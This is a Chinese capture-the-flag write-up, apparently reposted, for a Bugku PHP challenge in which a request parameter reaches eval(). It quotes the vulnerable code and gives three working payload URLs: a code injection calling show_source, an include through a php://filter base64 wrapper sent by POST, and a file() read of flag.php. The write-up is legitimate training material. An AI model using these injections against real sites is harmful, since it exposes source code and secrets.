Bugku-CTF之本地包含( 60)


Day36

 

本地包含

60

地址:http://123.206.87.240:8003/
 
 
本題要點: eval()、 文件包含漏洞、base64編碼
 
 
閱讀代碼
<?php
    include "flag.php";              //flag存儲在flag.php這個腳本里,但是被注釋掉了,我們需要把flag.php的源碼整個顯示出來
    $a = @$_REQUEST['hello'];         //無論是以POST還是GET方式,都可以給$a賦值
    eval( "var_dump($a);");                 //var_dump可以輸出變量的類型和值
    show_source(__FILE__);
?>
 
出現了include/require這兩個函數,就是典型的文件包含攻擊的漏洞了
eval會執行代碼,那么腳本里面執行的也就是:
var_dump();show_source(%27flag.php%27);//)
var_dump();
show_source('flag.php');
//)

 

這種攻擊方式和SQL注入的payload很像:
“);”負責把前面的命令閉合掉
“//”負責把原來命令的殘余部分注釋掉
中間的那部分就是我們希望執行的命令,這是典型的“命令注入”式的攻擊方式
 
方法一:
我們可以利用eval函數的命令執行漏洞來構造payload
http://123.206.87.240:8003/index.php?hello=1);show_source(%27flag.php%27);var_dump(3
 
 
方法二:
利用POST傳參和base64編碼來構造payload
http://123.206.87.240:8003/?hello=);include(@$_POST['z']
在POST區域輸入:z=php://filter/convert.base64-encode/resource=flag.php
解碼結果如下:
 
 
方法三:
直接將flag.php文件讀入變量hello中
http://123.206.87.240:8003/?hello=file(%27flag.php%27)
 
 
完成~
 
 
 
參考資料:
https://blog.csdn.net/dyw_666666/article/details/82389457
https://www.jianshu.com/p/bf64c59b64e6
 
 
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM